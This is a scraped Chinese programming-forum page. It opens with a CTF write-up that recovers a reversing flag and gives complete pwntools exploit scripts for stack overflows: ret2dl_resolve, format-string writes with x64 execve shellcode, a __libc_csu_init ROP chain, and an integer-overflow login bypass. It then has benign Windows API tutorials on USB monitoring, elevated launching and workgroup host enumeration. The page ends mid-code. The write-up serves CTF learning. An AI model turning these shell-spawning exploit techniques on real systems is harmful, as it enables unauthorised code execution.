    012D30CD B8 775F123C mov eax,0x3C125F77012D30D2 D3C8 ror eax,cl012D30D4 3382 E0000000 xor eax,dword ptr ds:[edx+0xE0]012D30DA 8985 6CFFFFFF mov dword ptr ss:[ebp-0x94],eax012D30E0 90 nop012D3118 8BC1 mov eax,ecx012D311A 25 03000080 and eax,0x80000003012D311F 79 05 jns short Fly.012D3126012D3121 48 dec eax012D3122 83C8 FC or eax,0xFFFFFFFC012D3125 40 inc eax012D3126 8A8405 6CFFFFFF mov al,byte ptr ss:[ebp+eax-0x94]012D312D 88840D 70FFFFFF mov byte ptr ss:[ebp+ecx-0x90],al定位初始secret的地方
    借助xspy定位消息响应函数
    Message map: 0x0058880C (Fly3.exe+ 0x18880c )Message map entries: 0x00588818 (Fly3.exe+ 0x188818 )OnMsg:WM_TIMER(0113),func= 0x00404E30 (Fly3.exe+ 0x004e30 )OnMsg:WM_LBUTTONDOWN(0201),func= 0x00405150 (Fly3.exe+ 0x005150 )OnMsg:WM_LBUTTONUP(0202),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )OnMsg:WM_MOUSEHOVER(02a1),func= 0x004051E0 (Fly3.exe+ 0x0051e0 )OnMsg:WM_MOUSELEAVE(02a3),func= 0x00405200 (Fly3.exe+ 0x005200 )OnMsg:WM_MOUSEMOVE(0200),func= 0x00405220 (Fly3.exe+ 0x005220 )OnMsg:WM_LBUTTONDBLCLK(0203),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )定位到数组dwKey
    void __thiscall CFlyWnd::OnLButtonDown(CFlyWnd *this, unsigned int nFlags, CPoint point){ CFlyWnd *v3; // esi int v4; // eax char szOut[100]; // [esp+4h] [ebp-68h] v3 = this; szOut[0] = 0; v4 = this->nIndex; this->is_death = 1; this->secret = dwKey[v4]; memset(&szOut[1], 0, 0x63u); _wsprintfA(szOut, "fly death %d", 1); PostMessageW(v3->m_hWnd, 0x10u, 0, 0); CWnd::Default((CWnd *)&v3->vfptr);}DWORD dwXorKey = 0x3c125f77; DWORD dwKey[100] = { 0x59206b45, 0xfa6d1fde, 0xaa30f5ec, 0x81b4728a, 0x43a213cf, 0x8c85f3cc, 0xe8922b1c, 0xdf191586, 0x4158266a, 0xdfac3b1c, 0xb9ae65f1, 0xde83b273, 0x914ba440, 0xcb8ed8f4, 0x4beac32d, 0x8cd64e10, 0x6b120c25, 0x498df831, 0xa2b9f93d, 0x79d6d0e4, 0x47c640f0, 0xa0c3dbd6, 0x7b4def96, 0x158e8c4d }; char szResult[100] = { 0 }; for (int i = 0; i < 24; i++) { DWORD dwTmp = dwKey[i] ^ CROR(dwXorKey, i); szResult[i] = (PBYTE(&dwTmp))[i % 4]; } printf(szResult);得到flag:204f8ab152a0e8627fd21b01
    本题可以不去进项算法分析,直接模拟点击点掉所有苍蝇即可。
    BOOL CALLBACK EnumWindowProc(HWND hWnd, LPARAM lParam){ char szClassName[100] = { 0 }; GetClassName(hWnd, szClassName, 100); RECT m_rect; GetWindowRect(hWnd, &m_rect); if (strcmp("#32770", szClassName) == 0 && m_rect.bottom - m_rect.top == 60 && m_rect.right - m_rect.left == 60) { SendMessage(hWnd, WM_LBUTTONDOWN, NULL, NULL); } return TRUE;}while (1){ //在某个函数里面调用 EnumWindows(EnumWindowProc, NULL); Sleep(1000);}
    PWNbaby_stack
    没有输出无法leak,没有提供libc,有溢出,考虑ret2dl_resolve可以手组结构,仿造roputils写ret2dl_resolve函数
    #coding=utf8from pwn import *context.log_level = 'debug'p = process('./babystack')binary = ELF('./babystack')def ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1): jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt relent = ELF_obj.dynamic_value_by_tag("DT_RELENT") symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT") strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr p_name = fake_stage+8-strtab len_bypass_version = 8-(len(func_name)+1)%0x8 sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab if sym_addr_offset%0x10 != 0: if sym_addr_offset%0x10 == 8: len_bypass_version+=8 sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab else: error('something error!') fake_sym = sym_addr_offset/0x10 while True: fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2)) if fake_ndx != 0: fake_sym+=1 len_bypass_version+=0x10 continue else: break if do_slim: slim = len_bypass_version - len_bypass_version%8 version = len_bypass_version%8 resolve_data,resolve_call=ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage+slim,0) return (resolve_data,resolve_call,fake_stage+slim) fake_r_info = fake_sym<<8|0x7 reloc_offset=fake_stage-jmprel resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00' resolve_data += 'a'*len_bypass_version resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12) resolve_call = p32(plt0)+p32(reloc_offset) return (resolve_data,resolve_call)offset = 0x4cstage = binary.bss()p_ebx_ret = 0x080482c9p3ret = 0x080484a9dl_data,dl_call,stage = ret2dl_resolve(binary,'system',binary.bss()+0x200,stage)pay = 'a'*offsetpay += p32(binary.plt['read'])+p32(p3ret)+p32(0)+p32(stage)+p32(len(dl_data)+8) #读40个字节到base_stagepay += dl_call pay += p32(p_ebx_ret)+p32(stage+len(dl_data)) #伪造条目p.sendline(pay)sleep(1)p.send(dl_data+'/bin/sh\x00')#调用systemp.interactive()

    也可用roputils简化脚本
    #coding:utf-8import sysimport roputilsfrom pwn import *# context.log_level = 'debug'p = process("./baby_stack")elf = ELF("./baby_stack")rop = roputils.ROP('./baby_stack')stage = rop.section('.bss')offset = 0x4cvulFunc = 0x804840bbuf1 = 'A' * offsetbuf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100) p.send(buf1)buf2 = rop.string('/bin/sh')buf2 += rop.fill(20, buf2)buf2 += rop.dl_resolve_data(stage+20, 'system')buf2 += rop.fill(100, buf2)p.send(buf2)buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)p.send(buf3)p.interactive()#coding:utf-8import sysimport roputilsfrom pwn import *# context.log_level = 'debug'p = process("./baby_stack")elf = ELF("./baby_stack")rop = roputils.ROP('./baby_stack')stage = rop.section('.bss')offset = 0x4cvulFunc = 0x804840bbuf1 = 'A' * offsetbuf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100)p.send(buf1)buf2 = rop.string('/bin/sh')buf2 += rop.fill(20, buf2)buf2 += rop.dl_resolve_data(stage+20, 'system')buf2 += rop.fill(100, buf2)p.send(buf2)buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)p.send(buf3)p.interactive()
    dragon_gamefrom pwn import *# context.log_level = 'debug'p = process("./DragonGame")p.recvuntil("secret[0] is ")addr = int(p.recvuntil("\n")[:-1],16)log.success("addr:"+hex(addr))p.sendlineafter("west?:\n","east")p.sendlineafter("address'\n",str(addr))pause()p.sendlineafter(" is:\n","%233c%7$n") #修改check[0]=233shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #Linux/x64 Execute /bin/sh Shellcodep.sendlineafter("SPELL\n", shellcode) p.interactive()
    easy_rop
    通过__libc_csu_init()函数来构造gadgets通过设置eax为59调用execve(‘/bin/sh’,NULL,NULL)
    from pwn import *import timep = process("./easy_rop")elf = ELF("./easy_rop")syscall_addr = 0x400582rop_addr1 = 0x4005fa #<__libc_csu_init+90>rop_addr2 = 0x4005e0 #<__libc_csu_init+64>bss_addr = 0x601040offset = 0x18#在bss段写入/bin/sh和syscall的地址rop = ""rop += offset*"A"rop += p64(rop_addr1)rop += p64(0) #rbxrop += p64(1) #rbprop += p64(elf.got['read']) #r12rop += p64(0x20) #r13 #rdxrop += p64(bss_addr) #r14 #rsirop += p64(0) #r15 #rdirop += p64(rop_addr2) #ret #read(0, bss_addr, 0x20)#设置eax为59rop += p64(0)rop += p64(0) #rbxrop += p64(1) #rbprop += p64(elf.got['read']) #r12rop += p64(0x40) #r13 #rdxrop += p64(bss_addr+ 0x10) #r14 #rsirop += p64(0x0) #r15 #rdirop += p64(rop_addr2) #ret #read(0, bss_addr+0x10, 0x40)#execve('/bin/sh', NULL, NULL)rop += p64(0)rop += p64(0)rop += p64(1)rop += p64(bss_addr + 8) #syscallrop += p64(0) #NULLrop += p64(0) #NULLrop += p64(bss_addr) #'/bin/sh'rop += p64(rop_addr2) #execve('/bin/sh', NULL, NULL)sleep(2)p.sendline(rop)#第一次readsleep(1)p.send(("/bin/sh\x00"+p64(syscall_addr)).ljust(0x20,'\x00'))#第二次readsleep(1)p.send("A"*59)sleep(1)p.interactive()
    login
    存在整数溢出,passwd可以输入409长度,当输入大于260长度时也可符合判定,跳到特定函数即可拿flag
    from pwn import *p = process("./login")p.sendlineafter("choice:","1")p.sendlineafter("username:\n","")offset = 24payload = "A"*offsetpayload += p32(0x804868b)payload = payload.ljust(261,"A")p.sendlineafter("passwd:\n",payload)print p.recvall()
    1 留言 2018-11-10 23:06:50 奖励25点积分
  • linked-list-cycle-ii (数学证明)

    题意:略.这个题最关键的点在于后面,如何找到循环开始的节点。
    第一阶段,先用快慢指针找到相遇的节点C。(至于为什么,了解一下欧几里德拓展解决二元不定方程。)A是表头。B是开始循环的位置。
    第一次阶段的公式是:
    2(x+y)=x+y+n(y+z)注意一下:n表示快指针比慢指针多跑了n圈!
    那么两边同时减去 x+y ,则 x+y=n*(y+z); 注意这里 y+z 表示一整圈!
    则 x=(n-1)*y+n*z; (仔细分析这个式子的含义)
    当 n 等于 1 时,是不是 x=z,当 n=2 时,是不是相当于先跑一圈,A-B 剩下的等于 z,依次类推更大的 n。
    所以,当一个指针放在 C 点,第二个指针放在 A 点, 以相同的而速度向前推进时,相等处就是 B 点
    class Solution {public: ListNode *detectCycle(ListNode *head) { if (head == NULL) return NULL; //空表 ListNode *slow = head; ListNode *fast = head; while (fast&&fast->next){ slow = slow->next; fast = fast->next->next; if (slow == fast) break; //相遇 } if (fast == NULL || fast->next == NULL) return NULL; slow = head; while (slow != fast){ slow = slow->next; fast = fast->next; } return slow; }};
    1 留言 2018-11-10 17:06:50 奖励5点积分
  • 编程实现监控U盘或者其它移动设备的插入和拔出 精华

    背景如果在没有阅读本文之前,可能你会认为编程实现监控U盘或者其它移动设备的插入和拔出,是一个很难的事情,或者是一个很靠近系统底层的事情。其实,这些你完全不用担心,Windows 已经为我们都设计好了。
    我们都知道,Windows应用程序都是消息(事件)驱动的,任何一个窗口都能够接收消息,并对该消息做出相应的处理。同样,U盘或者其它移动设备的插入或者拔出也会有相应的消息与之对应,这个消息便是 WM_DEVICECHANGE。顾名思义,这个消息就是设备更改的时候产生的。那么,我们的程序同样可以捕获到这个消息,只要我们对这个消息做出处理就可以了。
    现在,我就把这个程序实现的过程整理成文档,分享给大家。
    函数介绍WM_DEVICECHANGE 消息
    通知应用程序对设备或计算机的硬件配置进行更改。窗口通过其WindowProc函数接收此消息。
    LRESULT CALLBACK WindowProc( HWND hwnd, // handle to window UINT uMsg, // WM_DEVICECHANGE WPARAM wParam, // device-change event LPARAM lParam // event-specific data );
    参数

    hwnd:窗口的句柄。
    uMsg:WM_DEVICECHANGE标识符。
    wParam:发生的事件。 该参数可以是Dbt.h头文件中的以下值之一:




    VALUE
    MEANING




    DBT_CONFIGCHANGECANCELED
    更改当前配置(停靠或停靠)的请求已被取消


    DBT_CONFIGCHANGED
    由于停靠或停靠,当前配置已更改


    DBT_CUSTOMEVENT
    发生了自定义事件


    DBT_DEVICEARRIVAL
    已插入设备或介质,现在可以使用


    DBT_DEVICEQUERYREMOVE
    请求删除设备或介质的权限。 任何应用程序可以拒绝此请求并取消删除


    DBT_DEVICEQUERYREMOVEFAILED
    删除设备或介质的请求已被取消


    DBT_DEVICEREMOVECOMPLETE
    已移除设备或介质片


    DBT_DEVICEREMOVEPENDING
    一个设备或一块介质即将被删除。 不能否认


    DBT_DEVICETYPESPECIFIC
    发生设备特定事件


    DBT_DEVNODES_CHANGED
    已将设备添加到系统中或从系统中删除


    DBT_QUERYCHANGECONFIG
    请求权限更改当前配置(停靠或停靠)


    DBT_USERDEFINED
    此消息的含义是用户定义的




    lParam:指向包含事件特定数据的结构的指针。 其格式取决于wParam参数的值。 有关详细信息,请参阅每个事件的文档。
    返回值

    返回TRUE以授予请求。返回BROADCAST_QUERY_DENY以拒绝该请求。

    DEV_BROADCAST_HDR 结构体
    typedef struct _DEV_BROADCAST_HDR { DWORD dbch_size; DWORD dbch_devicetype; DWORD dbch_reserved;} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;
    成员

    dbch_size这个结构的大小,以字节为单位。如果这是用户定义的事件,则该成员必须是此标头的大小,加上_DEV_BROADCAST_USERDEFINED结构中的可变长度数据的大小。
    dbch_devicetype设备类型,用于确定前三个成员之后的事件特定信息。 该成员可以是以下值之一:




    VALUE
    MEANING




    DBT_DEVTYP_DEVICEINTERFACE
    设备类。 此结构是DEV_BROADCAST_DEVICEINTERFACE结构


    DBT_DEVTYP_HANDLE
    文件系统句柄。 这个结构是一个DEV_BROADCAST_HANDLE结构


    DBT_DEVTYP_OEM
    OEM或IHV定义的设备类型。 该结构是DEV_BROADCAST_OEM结构


    DBT_DEVTYP_PORT
    端口设备(串行或并行)。 这个结构是一个DEV_BROADCAST_PORT结构


    DBT_DEVTYP_VOLUME
    逻辑卷。 这个结构是一个DEV_BROADCAST_VOLUME结构




    dbch_reserved
    保留。


    DEV_BROADCAST_VOLUME 结构体
    typedef struct _DEV_BROADCAST_VOLUME { DWORD dbcv_size; DWORD dbcv_devicetype; DWORD dbcv_reserved; DWORD dbcv_unitmask; WORD dbcv_flags;} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;
    成员

    dbcv_size这个结构的大小,以字节为单位。
    dbcv_devicetype设置为DBT_DEVTYP_VOLUME(2)。
    dbcv_reserved保留; 不使用。
    dbcv_unitmask标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。
    dbcv_flags此参数可以是以下值之一:




    VALUE
    MEANING




    DBTF_MEDIA
    更改影响驱动器中的介质。 如果未设置,更改将影响物理设备或驱动器


    DBTF_NET
    指示逻辑卷是一个网络卷




    实现原理由于我们主要是对设备的插入和拔出做操作,所以,只需要对消息回调函数的参数 wParam 进行判断,是否为设备已插入操作 DBT_DEVICEARRIVAL 和 设备已移除操作 DBT_DEVICEREMOVECOMPLETE。然后再重点分析相应操作对应的 lParam 参数里存储的信息数据,从而分析出产生操作设备的盘符。
    设备已插入 DBT_DEVICEARRIVAL首先,当 wParam 为设备已插入操作 DBT_DEVICEARRIVAL的时候,我们就可以知道是有设备已经插入了。
    接下来就是要获取设备的盘符,这需要对参数 lParam 进行分析,此时 lParam 则表示指向 DEV_BROADCAST_HDR 结构的指针。由上述的结构体介绍中,我们可以知道,要获取盘符,就首先要判断 DEV_BROADCAST_HDR 结构体中的设备类型 dbch_devicetype 是否为逻辑卷 DBT_DEVTYP_VOLUME。因为其它的消息类型,是不会产生盘符的。只有消息类型为 DBT_DEVTYP_VOLUME 逻辑卷,才会产生盘符。
    由上述结构体介绍中知道,当消息类型为 DBT_DEVTYP_VOLUME 逻辑卷的时候, 参数 lParam 实际上是结构体 DEV_BROADCAST_VOLUME。其中,结构体 DEV_BROADCAST_VOLUME 的 dbcv_unitmask 成员标识一个或多个逻辑单元的逻辑单元掩码,掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。所以,我们可以根据 dbcv_unitmask 计算出设备生成的盘符。
    设备已移除 DBT_DEVICEREMOVECOMPLETE首先,当 wParam 为设备已移除操作 DBT_DEVICEREMOVECOMPLETE 的时候,我们就可以知道是有设备已经移除了。
    接下来就是要获取移除设备原来的盘符,这需要对参数 lParam 进行分析,此时 lParam 则表示指向 DEV_BROADCAST_HDR 结构的指针。接下来的分析,和上面设备插入时,获取设备盘符的分析是一样的,在此就不重复了。
    编程实现给程序添加 WM_DEVICECHANGE 的消息响应,并声明定义一个处理函数,处理相应的消息。
    对于 Windows应用程序 来说,只需要在窗口消息处理函数中,增加消息类型WM_DEVICECHANGE 的判断即可。然后,调用处理函数进程处理。
    对于 MFC 程序来说,则需要自定义 WM_DEVICECHANGE 消息响应函数。在主对话框类的头文件中声明处理函数 :
    LRESULT OnDeviceChange(WPARAM wParam, LPARAM lParam);
    然后,再在主对话框类的消息映射列表中,添加 WM_DEVICECHANGE 与消息处理函数的映射:
    BEGIN_MESSAGE_MAP(CWM_DEVICECHANGE_MFC_TestDlg, CDialogEx) … …(省略) ON_MESSAGE(WM_DEVICECHANGE, OnDeviceChange) … …(省略)END_MESSAGE_MAP()
    那么,Windows应用程序 和 MFC 程序对 WM_DEVICECHANGE 消息的消息处理函数定义都是相同的:
    LRESULT OnDeviceChange(WPARAM wParam, LPARAM lParam){ switch (wParam) { // 设备已经插入 case DBT_DEVICEARRIVAL: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:\\"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符 ::MessageBox(NULL, szDriver, "设备已插入", MB_OK); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } // 设备已经移除 case DBT_DEVICEREMOVECOMPLETE: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:\\"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符 ::MessageBox(NULL, szDriver, "设备已移除", MB_OK); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } default: break; } return 0;}
    程序测试这是,我们直接运行程序,插入U盘,程序成功弹窗提示有U盘插入,并给出U盘的盘符。

    我们把U盘拔出,程序成功弹窗提示有U盘拔出,并给出U盘的盘符。

    总结本文给出了 MFC程序 和 Windows应用程序 的例子,实现监控U盘或其它移动设备的插入和拔出。其中,我们需要注意理解 DEV_BROADCAST_VOLUME 的 dbcv_unitmask 逻辑单元掩码。它是 4字节 32位,它的每一位都对应一个盘符,从 A 开始计数。如果位中的数值为1,则表示设备操作产生的盘符,为 0,则表示没有产生盘符。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-28 20:55:37 奖励15点积分
  • 使用ShellExecute函数实现以管理员身份运行程序

    背景在 Win7 或者 Win7 以上版本的系统,我们想以管理员身份运行一个程序的时候,只需要选中这个程序文件,鼠标右击,选择“以管理员身份启动”就可以了。但是,在实际的编程中,我们要以管理员身份创建一个进程该怎么操作呢?
    可能有人会想,创建一个进程,那使用 CreateProcess 函数创建就可以了。是的,CreateProcess 是可以创建一个进程,但是它不能以管理员权限创建进程。换句话说,它只能创建一个权限比它低或者相同权限的进程。若是一个普通进程,它就创建不了管理员权限进程。
    本文要介绍的 ShellExecute 函数,可以实现创建管理员权限进程。但是,如果系统开启了UAC(用户账户控制),则会弹窗提示是否要以管理员权限运行。现在,我就把这个小程序实现的过程进行整理,分享给大家。
    函数介绍ShellExcute 函数
    对指定的文件执行操作。
    函数声明
    HINSTANCE ShellExecute( _In_opt_ HWND hwnd, _In_opt_ LPCTSTR lpOperation, _In_ LPCTSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ INT nShowCmd);
    参数

    hwnd [in]用于显示UI或错误消息的父窗口的句柄。如果操作未与窗口相关联,则此值可以为NULL。lpOperation[in]指向以NULL结尾的字符串的指针,在本例中称为动词,用于指定要执行的操作。可用的动词集取决于特定的文件或文件夹。一般来说,从对象的快捷菜单中可以获得的动作是动词。lpFile [in]指向以空值终止的字符串的指针,用于指定要在其上执行指定动词的文件或对象。要指定Shell命名空间对象,请传递完全限定的解析名称。请注意,并非所有对象都支持所有动词。例如,并非所有文档类型都支持“打印”动词。如果lpDirectory参数使用相对路径,则不要使用lpFile的相对路径。lpParameters [in]如果lpFile指定了一个可执行文件,则该参数是一个指向空值终止字符串的指针,该字符串指定要传递给应用程序的参数。此字符串的格式由要调用的动词决定。如果lpFile指定文档文件,则lpParameters应为NULL。lpDirectory [in]指向以空值终结的字符串的指针,该字符串指定操作的默认(工作)目录。如果此值为NULL,则使用当前工作目录。如果在lpFile中提供了相对路径,则不要使用lpDirectory的相对路径。nShowCmd [in]指定应用程序在打开时如何显示的标志。如果lpFile指定了一个文档文件,那么该标志就被简单传递给相关应用程序。
    返回值

    如果函数成功,则返回大于32的值。如果函数失败,则返回一个错误值,该值指示失败的原因。

    实现过程对于这个小程序,就直接调用 ShellExecute 函数进行实现就行,我们设置的执行操作是 “runas”,表示以管理员身份运行。
    根据上面的函数介绍,我们一一查看下程序调用该函数的参数情况。第 1 个参数,设为NULL,不关联任何窗口句柄;第 2 个参数表示操作行为,其中,“runas”表示以管理员身份执行操作;第 3 个参数表示要执行该操作的文件路径;第 4、第 5 个操作设为NULL,不传递执行参数以及当前工作目录;第 6 个参数表示程序运行时的显示标志,其中,SW_SHOWNORMAL表示正常显示。
    // 以管理员身份运行程序 HINSTANCE hRet = ::ShellExecute(NULL, "runas", pszFileName, NULL, NULL, SW_SHOWNORMAL); if (32 < (DWORD)hRet) { return TRUE; }
    这样,我们只要传递程序路径,调用此函数,就可以编程实现以管理员身份运行程序了。
    编程实现BOOL RunAsAdmiin(char *pszFileName){ // 以管理员身份运行程序 HINSTANCE hRet = ::ShellExecute(NULL, "runas", pszFileName, NULL, NULL, SW_SHOWNORMAL); if (32 < (DWORD)hRet) { return TRUE; } return FALSE;}
    程序测试我们直接运行程序,传入要以管理云身份启动的程序路径。UAC成功弹窗,点击确定,程序成功以管理员身份执行。
    总结这个小程序,关键是对 ShellExecute 函数参数的理解,其中关键参数是第 2 个参数,指定了操作的行为 “runas”,以管理员身份运行。
    此外,ShellExecute 函数的拓展函数 ShellExecuteEx,也可以使用相同的方式实现以管理员身份运行的功能。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-27 09:53:36 奖励8点积分
  • 使用WNetEnumResource函数实现枚举工作组内的主机及其IP

    背景之所以会学习到这方面的知识,是因为那段时间正在帮一个游戏工作室开发一个游戏自动登录并创建角色的游戏脚本。当时,我就是使用VS去开发。因为它要求要有一个控制端可以所有的控制端,所以,就分别写了一个客户端程序和控制端程序。客户端都运行在虚拟机内,和控制端在同一网段里。
    当时,我就想让客户端在虚拟机里运行,主动去扫描工作组内的主机,那么它工作组内就会有两个主机,一个是虚拟机自己,另一个就是外面的主机。主机上运行则控制端,所以,这样就可以获取主机的IP地址,并自动建立反向连接,传输数据。
    所以,当时使用扫描方法,就是使用本文介绍的这个使用 WNetEnumResource 函数的方法。现在,我就把实现原理和过程写成文档,分享给大家。
    函数介绍WNetOpenEnum 函数
    WNetOpenEnum函数启动网络资源或现有连接的枚举。 您可以通过调用WNetEnumResource函数继续枚举。
    函数声明
    DWORD WNetOpenEnum( _In_ DWORD dwScope, _In_ DWORD dwType, _In_ DWORD dwUsage, _In_ LPNETRESOURCE lpNetResource, _Out_ LPHANDLE lphEnum);
    参数

    dwScope [in]枚举范围。 此参数可以是以下值之一:



    VALUE
    MEANING




    RESOURCE_CONNECTED
    枚举所有当前连接的资源。 该函数忽略dwUsage参数。


    RESOURCE_CONTEXT
    仅枚举调用者网络上下文中的资源。 为“网络邻居”视图指定此值。 该函数忽略dwUsage参数


    RESOURCE_GLOBALNET
    枚举网络上的所有资源


    RESOURCE_REMEMBERED
    枚举所有记住(持久)连接。 该函数忽略dwUsage参数




    dwType [in]要枚举的资源类型。 此参数可以是以下值的组合:



    VALUE
    MEANING




    RESOURCETYPE_ANY
    所有资源。 此值不能与RESOURCETYPE_DISK或RESOURCETYPE_PRINT组合


    RESOURCETYPE_DISK
    所有磁盘资源


    RESOURCETYPE_PRINT
    所有打印资源




    dwUsage [in]要枚举的资源使用类型。 此参数可以是以下值的组合:



    VALUE
    MEANING




    0
    所有资源


    RESOURCEUSAGE_CONNECTABLE
    所有可连接的资源


    RESOURCEUSAGE_CONTAINER
    所有容器资源


    RESOURCEUSAGE_ATTACHED
    如果用户未通过身份验证,设置此值将强制WNetOpenEnum失败。 即使网络允许枚举而不进行身份验证,该功能也会失败


    RESOURCEUSAGE_ALL
    设置此值相当于设置RESOURCEUSAGE_CONNECTABLE,RESOURCEUSAGE_CONTAINER和RESOURCEUSAGE_ATTACHED




    pNet资源[in]指向指定要枚举的容器的NETRESOURCE结构。 如果dwScope参数不是RESOURCE_GLOBALNET,则此参数必须为NULL。
    lphEnum [out]指向可以在随后调用WNetEnumResource中使用的枚举句柄的指针。

    返回值

    如果函数成功,返回值为NO_ERROR。如果函数失败,则返回值是系统错误代码。

    WNetEnumResource 函数
    WNetEnumResource功能继续列出通过调用WNetOpenEnum函数启动的网络资源。
    函数声明
    DWORD WNetEnumResource( _In_ HANDLE hEnum, _Inout_ LPDWORD lpcCount, _Out_ LPVOID lpBuffer, _Inout_ LPDWORD lpBufferSize);
    参数

    hEnum [in]标识枚举实例的句柄。这个句柄必须由WNetOpenEnum函数返回。lpcCount [in,out]指向指定所请求条目数的变量的指针。如果所请求的号码为-1,则该函数返回尽可能多的条目。如果函数成功,返回此参数指向的变量包含实际读取的条目数。lpBuffer [out]指向接收枚举结果的缓冲区的指针。结果作为NETRESOURCE结构的数组返回。请注意,您分配的缓冲区必须足够大以容纳结构,加上其成员指向的字符串。有关详细信息,请参阅以下备注部分。lpBufferSize [in,out]指向变量的指针,该变量指定lpBuffer参数的大小(以字节为单位)。如果缓冲区太小而不能接收一个条目,则此参数将接收所需的缓冲区大小。
    返回值

    执行成功,返回 NO_ERROR 或者 ERROR_NO_MORE_ITEMS;否则,错误。

    gethostbyname 函数
    gethostbyname函数从主机数据库中检索与主机名对应的主机信息。
    函数声明
    struct hostent* FAR gethostbyname( _In_ const char *name);
    参数

    name[in]
    指向要解析的主机的以NULL结尾的名称的指针。

    返回值

    如果没有发生错误,gethostbyname返回一个指向上述主机结构的指针。 否则,它返回一个空指针,并且可以通过调用WSAGetLastError来检索特定的错误号。

    inet_ntoa 函数
    inet_ntoa函数将(Ipv4)Internet网络地址转换为Internet标准点分十进制格式的ASCII字符串。
    函数声明
    char* FAR inet_ntoa( _In_ struct in_addr in);
    参数

    in[in]
    一个表示Internet主机地址的in_addr结构。

    返回值

    如果没有发生错误,则inet_ntoa返回一个字符指针,指向包含标准“。”表示法中的文本地址的静态缓冲区,否则返回NULL。

    实现原理本文要实现的功能就是遍历网络邻居,获取工作组内的所有在线主机名以及根据主机名获取的IP地址。实现过程如下:

    首先,我们通过 WSAStartup 函数完成对 Winsock 服务的初始化,因为下面我们会使用到 Socket 函数。然后,我们使用 WNetOpenEnum 设置枚举的范围为本工作组内 RESOURCE_CONTEXT,并获取枚举句柄。接着,我们便调用 WNetEnumResource 函数按照设置的范围去枚举资源,并获取枚举结果。然后,遍历枚举结果,并设置过滤标志 RESOURCEUSAGE_CONTAINER 和 RESOURCETYPE_ANY。通过过滤之后,可以根据远程主机名调用函数gethostbyname 去获取IP地址信息,并通过 inet_ntoa 函数将(Ipv4) Internet网络地址转换为Internet标准点分十进制格式的ASCII字符串。最后,释放内存以及枚举句柄。
    这样,整个程序的实现原理和流程就结束了。需要特别注意一点就是,在函数开头一定要先初始化 Winsock 服务!
    编码实现加载库函数#include <Winnetwk.h>#pragma comment(lib, "Mpr.lib")#pragma comment(lib, "Ws2_32.lib")
    枚举工作组内的网络资源BOOL EnumNetResource(){ NETRESOURCE *NetResource = NULL; HANDLE hEnum; unsigned int i; char szHostName[MAX_PATH] = { 0 }; hostent *host = NULL; char *lpszIP = NULL; // 通过WSAStartup函数完成对Winsock服务的初始化 WSADATA wsaData = { 0 }; ::WSAStartup(MAKEWORD(2, 2), &wsaData); // 指定枚举范围, 获取枚举句柄 ::WNetOpenEnum(RESOURCE_CONTEXT, NULL, NULL, NULL, &hEnum); if (hEnum) { DWORD Count = 0xFFFFFFFF; DWORD BufferSize = 2048; BYTE *pBuffer = new BYTE[2048]; // 根据设置的枚举返回, 获取枚举信息 ::WNetEnumResource(hEnum, &Count, pBuffer, &BufferSize); NetResource = (NETRESOURCE*)pBuffer; for (i = 0; i < BufferSize / sizeof(NETRESOURCE); i++, NetResource++) { // 判断资源类型是否是所有资源 以及 判断资源使用类型是否是容器资源 if (NetResource->dwUsage == RESOURCEUSAGE_CONTAINER && NetResource->dwType == RESOURCETYPE_ANY) { if (NetResource->lpRemoteName) { // 获取远程主机名 ::RtlZeroMemory(szHostName, MAX_PATH); ::lstrcpy(szHostName, 